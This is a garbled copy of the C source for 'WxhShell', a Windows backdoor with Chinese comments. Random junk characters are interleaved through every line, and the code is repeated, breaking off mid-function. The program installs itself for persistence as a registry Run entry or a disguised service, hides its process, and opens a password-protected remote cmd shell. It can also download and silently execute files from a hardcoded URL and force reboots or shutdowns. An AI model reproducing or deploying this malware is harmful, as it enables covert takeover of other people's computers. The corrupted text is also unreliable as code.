@ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #`Su3~T=S g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4"&-a1N NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (\:Rnl 4Kj.o if (!NtQueryInformationProcess) return 0; c=sV"r? :Xw|v2z%3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -2.7Z`*( if(!hProcess) return 0; jKUEs75] zTng]Mvx if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n|5\Q Y3 $jNuV CloseHandle(hProcess); fU6YJs.H^8 q9
Df`6+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p?gm=b# if(hProcess==NULL) return 0; (~~m 8VJ> w:\} B'u HMODULE hMod; !5,C"r char procName[255]; ~RR!~q unsigned long cbNeeded; ':.Hz]]/A :1 +Aj
( if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @.;+WQE {!Qu(% CloseHandle(hProcess); ^4sfVpD2! fD!c t; UK if(strstr(procName,"services")) return 1; // 以服务启动 M`Y^hDl 6 Nj9A-*0g6N return 0; // 注册表启动 FC0fe_U(F } !Fl'?Kz g*$2qKm // 主模块 12`u[O}\}- int StartWxhshell(LPSTR lpCmdLine) "#C2+SKM1 { 3Gs\Q{O: SOCKET wsl; 3?o4 BOOL val=TRUE; 2@S}x@^ int port=0; (Yewd/T struct sockaddr_in door; }UyQGRZ= ZthT('"a if(wscfg.ws_autoins) Install(); +tPBm{| %`]+sg[i port=atoi(lpCmdLine); qzW3MlD snaAn?I4 if(port<=0) port=wscfg.ws_port; "0eX/rY% D!`;v Z\> WSADATA data; ,X!6|l8 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'i+L tpWGmjfo> if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; xQsxc setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3 =enk0$ door.sin_family = AF_INET; ;!<}oZp{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); OnTe_JML door.sin_port = htons(port); 5dj" UxH u99a"+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _xKn2 ?d8g closesocket(wsl); Sa g)}6+ return 1; U[wx){[| } #E]K*mE' #/>TuJc if(listen(wsl,2) == INVALID_SOCKET) { R4p Pt closesocket(wsl); ]-gyXE1.r return 1; z0[@O)Sj } ggDT5hb Wxhshell(wsl); 4aO/^Hl WSACleanup(); =:rg1wo"c $tZ
{>!N return 0;
8lusKww SAP/jD$5]> } N{%7OG Vk{;g // 以NT服务方式启动 zYzV!s2^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6n]+(= { C|ZPnm>f30 DWORD status = 0; G)amng/ DWORD specificError = 0xfffffff; wn"}<ka "B QnP9 serviceStatus.dwServiceType = SERVICE_WIN32; nCY kUDnZ serviceStatus.dwCurrentState = SERVICE_START_PENDING; C8m 9H8Qm serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b,'O|s]"Sc serviceStatus.dwWin32ExitCode = 0; 01A{\O1$j serviceStatus.dwServiceSpecificExitCode = 0; `
-_! %m/ serviceStatus.dwCheckPoint = 0; >jt2vU@t. serviceStatus.dwWaitHint = 0; SwOW%o k8D_ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K1@Pt} if (hServiceStatusHandle==0) return; </ [.1&S+\ rUI?{CV status = GetLastError(); /3,/j)`a if (status!=NO_ERROR) ovKM;cRs/ { 2+9VDf2 serviceStatus.dwCurrentState = SERVICE_STOPPED; jR%*,IeB serviceStatus.dwCheckPoint = 0; gG?@_ie serviceStatus.dwWaitHint = 0; 7P1Pk?pxy serviceStatus.dwWin32ExitCode = status; PYCN3s#Gi serviceStatus.dwServiceSpecificExitCode = specificError; sh
:$J[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); M=iTwK return; ?tLApy^`? } c_>Gl8J U}w'/:H serviceStatus.dwCurrentState = SERVICE_RUNNING; n3iiW\ serviceStatus.dwCheckPoint = 0; `*s:[k5k serviceStatus.dwWaitHint = 0;
\0)jWCK if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %jL^sA2;c+ } p}^G#h{ _,drOF|e // 处理NT服务事件,比如:启动、停止 hU$aZ VOID WINAPI NTServiceHandler(DWORD fdwControl) gGrVpOzBj { afrF%! switch(fdwControl) `;85Mo:qJ { #Y=^4 U` case SERVICE_CONTROL_STOP: gH//@`6 serviceStatus.dwWin32ExitCode = 0; T]tP!a;K serviceStatus.dwCurrentState = SERVICE_STOPPED; oxxuw
Dcl serviceStatus.dwCheckPoint = 0; bv4umL / serviceStatus.dwWaitHint = 0; ^L%_kL_7 { t\,Y<9{w SetServiceStatus(hServiceStatusHandle, &serviceStatus); pwFdfp } c{=;lT return; -`faXFW' case SERVICE_CONTROL_PAUSE: Rzd`MIHDp serviceStatus.dwCurrentState = SERVICE_PAUSED; mi=mwN%UB break; NzT
&K7v case SERVICE_CONTROL_CONTINUE: 9tHK_),9 serviceStatus.dwCurrentState = SERVICE_RUNNING; ^`cv6;) break; EJn]C=_( case SERVICE_CONTROL_INTERROGATE: AQ)gj$
m3 break; 6=f)3!= }; =+iY<~8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); cO
J`^^P } d6MWgg q;68tEupR // 标准应用程序主函数 !+SL=xy!{ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 70qEqNoC { \B#tB?rA
&l+Qn'N // 获取操作系统版本 *^-AOSVt, OsIsNt=GetOsVer(); a&'9[9E1 GetModuleFileName(NULL,ExeFile,MAX_PATH); |.)LZP, c5^HGIe1 // 从命令行安装 $9G&
wH>{ if(strpbrk(lpCmdLine,"iI")) Install(); PMAz[w,R~ UBwl2Di // 下载执行文件 f./K/ if(wscfg.ws_downexe) { ':n`0+Eh if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e0(/(E: WinExec(wscfg.ws_filenam,SW_HIDE); \HO)ss)" } GxhE5f; 'maX if(!OsIsNt) { BHr ,jC // 如果时win9x,隐藏进程并且设置为注册表启动 %M96m HideProc(); -m^-p StartWxhshell(lpCmdLine); ) ^En } rD}g9?ut else T
6D+@i if(StartFromService()) boojq{cvYA // 以服务方式启动 BeUyt StartServiceCtrlDispatcher(DispatchTable); ] hT\"5&6 else
}#m9Q[ // 普通方式启动 vaeQ}F StartWxhshell(lpCmdLine); -@XSDfy7S pN^g. return 0; _%CM<z
e } Z1,rN#p9 nL?P/ \ Gi)Vr\Q. "lt <$. =========================================== UV2W~g }R;}d(C` 1WtE ]
D AGFA;X 54p{J Z' i@;^=A " :u7BCV|yr =K:[26 #include <stdio.h> s",Ea* #include <string.h> :aOR@])>o #include <windows.h> ^=x /:0 #include <winsock2.h> ;n't:yQW #include <winsvc.h> i"V.$|, #include <urlmon.h> )5@P|{FF ykC3Z<pI. #pragma comment (lib, "Ws2_32.lib") &h/r]KrZ #pragma comment (lib, "urlmon.lib") {z>!Fw $6n
J+ #define MAX_USER 100 // 最大客户端连接数 &>AwG4HW#j #define BUF_SOCK 200 // sock buffer My>q%lF=fw #define KEY_BUFF 255 // 输入 buffer 8oE`>Y 43k'96[2d #define REBOOT 0 // 重启 l0'Yq%Nf #define SHUTDOWN 1 // 关机 Nk@-yZ@,8 f(y+1 #define DEF_PORT 5000 // 监听端口 [0Xuo GFT@Pqq #define REG_LEN 16 // 注册表键长度 _S) K+C|@ #define SVC_LEN 80 // NT服务名长度 frcX'M}% /%cDX:7X // 从dll定义API *Hx*s_F typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a]Pi2:S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %fg6',2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H@-q NjM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,
>WH)+a LZ)g&A(j? // wxhshell配置信息 x:-NTW
-g struct WSCFG { :Fhk$?/r int ws_port; // 监听端口 s={>{,E char ws_passstr[REG_LEN]; // 口令 KH,f'` int ws_autoins; // 安装标记, 1=yes 0=no #;8)UNc)} char ws_regname[REG_LEN]; // 注册表键名 _jX,1+M char ws_svcname[REG_LEN]; // 服务名 `LoRudf_` char ws_svcdisp[SVC_LEN]; // 服务显示名 K{d3)lVYCS char ws_svcdesc[SVC_LEN]; // 服务描述信息 9<3( QR char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Tbm
~@k(C int ws_downexe; // 下载执行标记, 1=yes 0=no Osz=OO{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #[bosb!R char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A_TaXl( -G>J }; oO;L l?~ yhgGvyD // default Wxhshell configuration uQ3sRJi struct WSCFG wscfg={DEF_PORT, mo<*h&;& "xuhuanlingzhe", 2:|vJ<Q 1, {*;8`+R& "Wxhshell", K\ Wzh; "Wxhshell", _
uOi:Ti "WxhShell Service", N?m)u,6-l "Wrsky Windows CmdShell Service", 9X*Z\- "Please Input Your Password: ", kL zjK]4 * 1, <%.%q "http://www.wrsky.com/wxhshell.exe", te[uAJ1 N "Wxhshell.exe" O^\:J2I( }; cS Lj\'`b q5r7KYH{ // 消息定义模块 q+[ )i6!? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .=YV char *msg_ws_prompt="\n\r? for help\n\r#>"; Mo@{1K/9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u)h
{"pP char *msg_ws_ext="\n\rExit."; jS]Saqd char *msg_ws_end="\n\rQuit."; Xj]9/?B? char *msg_ws_boot="\n\rReboot..."; \
C:Gx4K char *msg_ws_poff="\n\rShutdown..."; I+Fy)=DO9 char *msg_ws_down="\n\rSave to "; k% \;$u=% :sw5@JdJ char *msg_ws_err="\n\rErr!"; D?y-Y
char *msg_ws_ok="\n\rOK!"; wxBHlgK4z s:'>G;p char ExeFile[MAX_PATH]; >&HW6 c int nUser = 0; '?$@hqQn HANDLE handles[MAX_USER]; |?jgjn&RQ int OsIsNt; ~H#c-B Oa:C'M
b SERVICE_STATUS serviceStatus; (su7*$wV SERVICE_STATUS_HANDLE hServiceStatusHandle; w &YUb,{Y ?J6Ek*E# // 函数声明 #NyO' int Install(void); )7Hx<?P int Uninstall(void); P4)Q5r int DownloadFile(char *sURL, SOCKET wsh); gm5%X'XL int Boot(int flag); KRGj6g+ void HideProc(void); E[t[R<v,P! int GetOsVer(void); .feB
VRg int Wxhshell(SOCKET wsl); ;m]
n l_vg void TalkWithClient(void *cs); W2h*t"5W int CmdShell(SOCKET sock); ,(oolx"Xa int StartFromService(void); [&~x5l
8\C int StartWxhshell(LPSTR lpCmdLine); 7}qxWz j+'ua=T3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O:I]v@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); *# <%04f n]vCvmt // 数据结构和表定义 [3=Y 9P: SERVICE_TABLE_ENTRY DispatchTable[] = ,l!>+@ { An>ai N] {wscfg.ws_svcname, NTServiceMain}, 9Znc|< {NULL, NULL} b`%u}^B { }; <- sr& \6GNKeN // 自我安装 V%[t'uh int Install(void) fqbWD)L] { U}HSL5v char svExeFile[MAX_PATH]; /Q9Cvj)" HKEY key; 6t!=k6`1 strcpy(svExeFile,ExeFile); _=x*yDPG} ]Ls T // 如果是win9x系统,修改注册表设为自启动 :)Es]wA#HZ if(!OsIsNt) { `dF~' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6|Dtx5
"r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [ {"x{; RegCloseKey(key); CC@U'9]bH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :icpPv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Z+Fjy-B RegCloseKey(key); JkR%o
#>5 return 0; noaR3) } MYV3</Xj* } `[E-V } {pi_yr3 else { C:&Sk\
wGMoh.GTh // 如果是NT以上系统,安装为系统服务 >~7XBb08 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3;b)pQ~6CJ if (schSCManager!=0) C &@'oLr { {88|J'*L SC_HANDLE schService = CreateService D',7 T=C
( yS
K81` schSCManager, `tO t+>YWn wscfg.ws_svcname, *:\[;69[ wscfg.ws_svcdisp, vS ( Y_6 SERVICE_ALL_ACCESS, P$Yw'3v/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V4u4{wU] SERVICE_AUTO_START, rVhfj~Ts SERVICE_ERROR_NORMAL, (e_p8[x svExeFile, oFyB-vpYQV NULL, "Cvr("'O NULL, VWd`06'BN' NULL, 9T2_2 NULL, f@9XSZ<.71 NULL _)LXD,LA ); F~fN7<9R if (schService!=0) Ht43G_.j { VJA/d2Oys CloseServiceHandle(schService); AEf[:]i] CloseServiceHandle(schSCManager); l'Li!u strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0 GFho$f strcat(svExeFile,wscfg.ws_svcname); f3vl=EA4| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z+M{zr RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l`6.(6 RegCloseKey(key); _"H\,7E return 0; +MYrNR.p } +p _?ekV\ } EBWM8~Nm# CloseServiceHandle(schSCManager); _8SB+s* } ])v61B } IrRe6nf@K F`F|.TX return 1; |gk4X%o6 } LB.B w +F,])p4,]i // 自我卸载 p4\sKF8- int Uninstall(void) y] 9/Xr/ { uDcs2^2l HKEY key; 9;n*u9< 1W.oRD&8j/ if(!OsIsNt) { E!WlQr:b$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "7fEL:|j RegDeleteValue(key,wscfg.ws_regname); sm?b,T/ RegCloseKey(key); M4;M.zxJv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F;/^5T3wI RegDeleteValue(key,wscfg.ws_regname); X16O9qsh RegCloseKey(key); zZ Y1E@~ return 0; s7jNRY V } fhdqes]) } fwx^?/5j } %#EzZD else { LH`$<p2''r E>E^t=;[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2!9W:I7 if (schSCManager!=0) s LD Ea { u46Z}~xf b SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -d2) if (schService!=0) 7[L%j;)bw { %WP[V{,F if(DeleteService(schService)!=0) { ME)='~E CloseServiceHandle(schService); W! |_ hL CloseServiceHandle(schSCManager); fMHw=wJQ return 0; HdY#cVxy } !z:j-gT3 CloseServiceHandle(schService); 0%|)=T3Slu } _h,X3P CloseServiceHandle(schSCManager); #5^OO ou| } fQ.S ,lMe } 7N5M=f.DS( +|<bb8% return 1; -)&lsFF } G&Yo2aADR HsRoiqo // 从指定url下载文件 L*p7|rq$" int DownloadFile(char *sURL, SOCKET wsh) x~IrqdmW { .4w"3> HRESULT hr; Xmb##: char seps[]= "/"; Jp8,s% char *token; I@Yk &aU char *file; _TJkYz$ char myURL[MAX_PATH]; Z,-TMtM7 char myFILE[MAX_PATH]; VgY6M_V q)@;8Z=_c strcpy(myURL,sURL); <Vh5`-J token=strtok(myURL,seps); <Nloh+n= while(token!=NULL) vy7?]}MvV { wsR\qq file=token; {65YTt% token=strtok(NULL,seps); G7GKO } KB^GC5L> 9qzHy}A GetCurrentDirectory(MAX_PATH,myFILE);
A;^{%S strcat(myFILE, "\\"); "WPWMQ+ strcat(myFILE, file); YOfYa send(wsh,myFILE,strlen(myFILE),0); 6/'X$}X send(wsh,"...",3,0); b;vVlIG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2>J;P C[; if(hr==S_OK) -EU=R_yg return 0; )\W}&9 > else 6Y.k<oem return 1; 4Pf"R~&[ /7a3*a } 3c:fYE 1b7?6CqV // 系统电源模块 P= E10 int Boot(int flag) RN&8dsreZp { z>=;Xe8P8n HANDLE hToken; sUkn.g! TOKEN_PRIVILEGES tkp; .G<Or`K^i l;h -`( 11 if(OsIsNt) { \f]w'qiW5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tqt~F2u LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xp6Z<Z&N tkp.PrivilegeCount = 1; wk=s3^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x6\^dVR} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }\A0g} if(flag==REBOOT) { z,!A4ws if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hy~KY6Ta return 0; ^g <Lu/5w } >Fe=PRs else { tPw7zFy6r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mEb`ET| return 0; i!<(R$Lo } i4SWFa`` } M%!j\}2A else { mkgL/h* if(flag==REBOOT) { K|;L{[[yH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xi.QHKBZaH return 0; %u Dd#+{ } ~jWpD7px else { ~PN[ #e] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) idS+&:' return 0; )Dcee@/7S } 5mZ9rLn } CWD
$\K G sI4
FgO return 1; =wl0 } G+3uY25y 20Rm|CNH? // win9x进程隐藏模块 ZS&lXgo void HideProc(void) nXh<+7 { f\:I1y B\dhw@hM HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L'"od;(6R if ( hKernel != NULL ) 0U2dNLc { On+0@hh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ])zpx- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]go.IfH FreeLibrary(hKernel); nF
'U* } iZ(p]0aP7 u^L_X A return; EYZ,GT-I } 6fT^t!<i I(9+F // 获取操作系统版本 ^w*vux|F int GetOsVer(void) s21)*d { 2%pe.stQ OSVERSIONINFO winfo; `ih#>i_& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '?E@H."" GetVersionEx(&winfo); A.!3{pAb if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?Xp+5{ return 1; c,*a|@ else ;tZ 8Sh) return 0; {Q0DHNP(G }
Bf,}mCq n+'s9 // 客户端句柄模块 t.7_7`bin~ int Wxhshell(SOCKET wsl) $bk_%R}s { 52*KRq
o SOCKET wsh; r"lh\C| struct sockaddr_in client; &{x`K4N DWORD myID; u3PM 7z!~ (j}edRUnB while(nUser<MAX_USER) ,^T0!k$ { ^P*+0?aFr int nSize=sizeof(client); <yKyM#4X wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m&Y?]nbq if(wsh==INVALID_SOCKET) return 1; w`Rt "d_B tQ2S*]"f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W6yz/{Rf if(handles[nUser]==0) &KeD{M% closesocket(wsh); ZD8E+]+ else b$B-LvHd1 nUser++; B=i%Z_r]w } ^Ov+n1,) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T%2%*oa <)gTi759h) return 0;
&y7~
} dQ Ao~]B 2-wgbC5 // 关闭 socket 6c[ L*1 void CloseIt(SOCKET wsh) Nbm$ta { PE+{<[n closesocket(wsh); DJH,#re> nUser--; leJ3-w{ 2 ExitThread(0); l{3ZN"`I } jTok1k l @r`NFWD@ // 客户端请求句柄 ;;zd/n2b void TalkWithClient(void *cs) rGSi
!q { #Xun>0 1h?:gOig SOCKET wsh=(SOCKET)cs; A)TO<dl char pwd[SVC_LEN]; }ev+WIERQV char cmd[KEY_BUFF]; (/J %Huy char chr[1]; zS}!87r) int i,j; @<p9O0 C2K<CDVw while (nUser < MAX_USER) { elb}]
+ qo}u(pOj| if(wscfg.ws_passstr) { l,E4h-$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S2
YxA //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ' ]vMOGG //ZeroMemory(pwd,KEY_BUFF); A:,V) i=0; o){<PN|z while(i<SVC_LEN) { nZkMyRk EaN^< // 设置超时 -k@Uo(MB fd_set FdRead; ev(E struct timeval TimeOut; /C[XC7^4' FD_ZERO(&FdRead); N|s8PIcSp FD_SET(wsh,&FdRead); (FNX>2Mv TimeOut.tv_sec=8; N_y#Y{c{( TimeOut.tv_usec=0; (7}Zh|@W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2H`;?#Uq: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vb k4 Z4PAdT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g+u5u\k pwd=chr[0]; KU;m.{ if(chr[0]==0xd || chr[0]==0xa) { unkA%x{W; pwd=0; X0%BE! break; qnU$Pd } vXcgl i++; 4ak} "Z } 3 _c4+u"6 qk\LfRbj // 如果是非法用户,关闭 socket ig:z[k? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \&%y4=y<sE } v!rOT/I ut9R]01: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZvW&%*k= send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O9MBQNwjA VV=6v;u` while(1) { ]hA]o7k LfG$?<}hR ZeroMemory(cmd,KEY_BUFF); R~XNF/QMl I$Fr8R$ // 自动支持客户端 telnet标准 K|{&SU_m j=0; q|R$A8)L. while(j<KEY_BUFF) { \W})Z72 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3a6 cmd[j]=chr[0]; Z`bo1,6> if(chr[0]==0xa || chr[0]==0xd) { %v1*D^)) cmd[j]=0; *XqS~G break; *",
BP]] } kv?j]<WN j++; x\6 i (k- } ^VlPnx8y= 'd|E>8fejG // 下载文件 <=!|U0YV
if(strstr(cmd,"http://")) { #Xd#Ncj send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q02:qn?T if(DownloadFile(cmd,wsh)) PhC{Gg send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~dj4Q
eu else 08E ,U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5%(xZ
6 } h5m6 )0" else { fsVr<m u&ozc switch(cmd[0]) {
5v-o2 0i9C\'W` // 帮助 7)+%;|~ case '?': { >R8eAR$N send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z`rW2UO#a` break; .(8eWc YK } 3+#
"4O // 安装 p4{3H+y case 'i': { 'O]Ja- if(Install()) 6dX l ny1H send(wsh,msg_ws_err,strlen(msg_ws_err),0); h2Jdcr#@FF else DYvg ^b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4xNzhnp| break; 1`8(O >5 } oq }Q2[.b // 卸载 vH9Gf case 'r': { ZE>!]# , if(Uninstall()) wKs-<b%; send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yo#F ;s7 else (Qys`D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }X*.Vv A break; )VCRbz"[g } /2PsC*y // 显示 wxhshell 所在路径 7Ke#sW.HN case 'p': { Ty>g:#bogI char svExeFile[MAX_PATH]; V{G9E strcpy(svExeFile,"\n\r"); 4 jeUYkJUM strcat(svExeFile,ExeFile); i#y3QCNqf^ send(wsh,svExeFile,strlen(svExeFile),0); lw"5p)aB break; A4uDuB;;ZQ } ,\RxKSU // 重启 E8.xmTq case 'b': { 0^{?kg2o_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -#?p16qz5 if(Boot(REBOOT)) (Eoji7U send(wsh,msg_ws_err,strlen(msg_ws_err),0); )CC rO else { V2?&3Z)W closesocket(wsh); xd`!z`X!,s ExitThread(0); !56gJJ-r } A/"p PO break; 2i~qihx5^ } \V,;F!*#G // 关机 &$</|F)y case 'd': { 5U/1Z{ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f~D>
*<L4- if(Boot(SHUTDOWN)) NTtRz( send(wsh,msg_ws_err,strlen(msg_ws_err),0); <\cH9D`dE else { Z"fnjH closesocket(wsh); 2x*C1
ExitThread(0); 2<@27C5 } s GP}>w-JZ break; 1y5$ } h}_1cev? // 获取shell B:\TvWbu case 's': { /8` S}g+ CmdShell(wsh); | <ZkJR3B closesocket(wsh); grhwPnKl ExitThread(0); 21BlLz break; $yx34= } sR. ecs+ // 退出 IFY,j8~q case 'x': { S qQqG3F send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sm>Hkci% CloseIt(wsh); afMIq Q? break; JDzkv%E^ } XHlx89v7 // 离开 +$+'|w case 'q': { n'#(iW)f send(wsh,msg_ws_end,strlen(msg_ws_end),0); K>`7f]?H*e closesocket(wsh); E@_M|=p& WSACleanup(); nJ4CXSdE exit(1); E0 Vl}b break; 7^J-5lY3S } J
dDP } df7z&{R } +0O{"XM h,V#V1>Hu // 提示信息 Cu\A[6g, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w^&TG3m1~ } 4{\h53j$ } z.[ Ok m
dC.M$ return; ntSPHK|' } F=hfbCF5x uj-q@IKe // shell模块句柄 o"x&F int CmdShell(SOCKET sock) [D H@>:"dd { {O,Cc$_ STARTUPINFO si; ]AGJPuX ZeroMemory(&si,sizeof(si)); d*lnXzQor si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <oSk!6* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1b'1vp PROCESS_INFORMATION ProcessInfo; WQ]~TGW char cmdline[]="cmd"; 9k^;]jE CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e6f!6a+% return 0; i%W,Y8\uf* } LTY@}o]\U 1px:(8]{ // 自身启动模式 |400N
+MK int StartFromService(void) T]nZ3EZ { 5U[;T]{)e typedef struct )(&g\ { X!n-nms DWORD ExitStatus; Kk~0jP_ B9 DWORD PebBaseAddress; Qko}rd_M DWORD AffinityMask; f#l/N%VoBZ DWORD BasePriority; *4^!e/ ULONG UniqueProcessId; 'B"kUh%3$5 ULONG InheritedFromUniqueProcessId; g2hxWf" } PROCESS_BASIC_INFORMATION; 2WIbu-"l %rTXT PROCNTQSIP NtQueryInformationProcess; 9`)NFy? w<awCp static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N2}].} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R9yK" }tU<RvT HANDLE hProcess; %t\`20-1< PROCESS_BASIC_INFORMATION pbi; VbtFM=Dg S {z%Q HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #4''Cs if(NULL == hInst ) return 0; cJm!3X XTyn[n g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8*)zoT*A g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (G"b)"Qum NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T.HI
$(d EG0NikT? if (!NtQueryInformationProcess) return 0; /
GJ"##< j*$GP'Df3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5RTAM if(!hProcess) return 0; oa`,|dA" /+J?Ep(_ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F#iLMO&Q b9OT~i=S| CloseHandle(hProcess); @yB!? x gB<p hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gn;eh~uw;l if(hProcess==NULL) return 0; ;'pEzz?k" ~?6V-m{># HMODULE hMod; tZ=BK:39\ char procName[255]; C>@~W(IE unsigned long cbNeeded; RN3w{^Ll qrNW\ME if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, 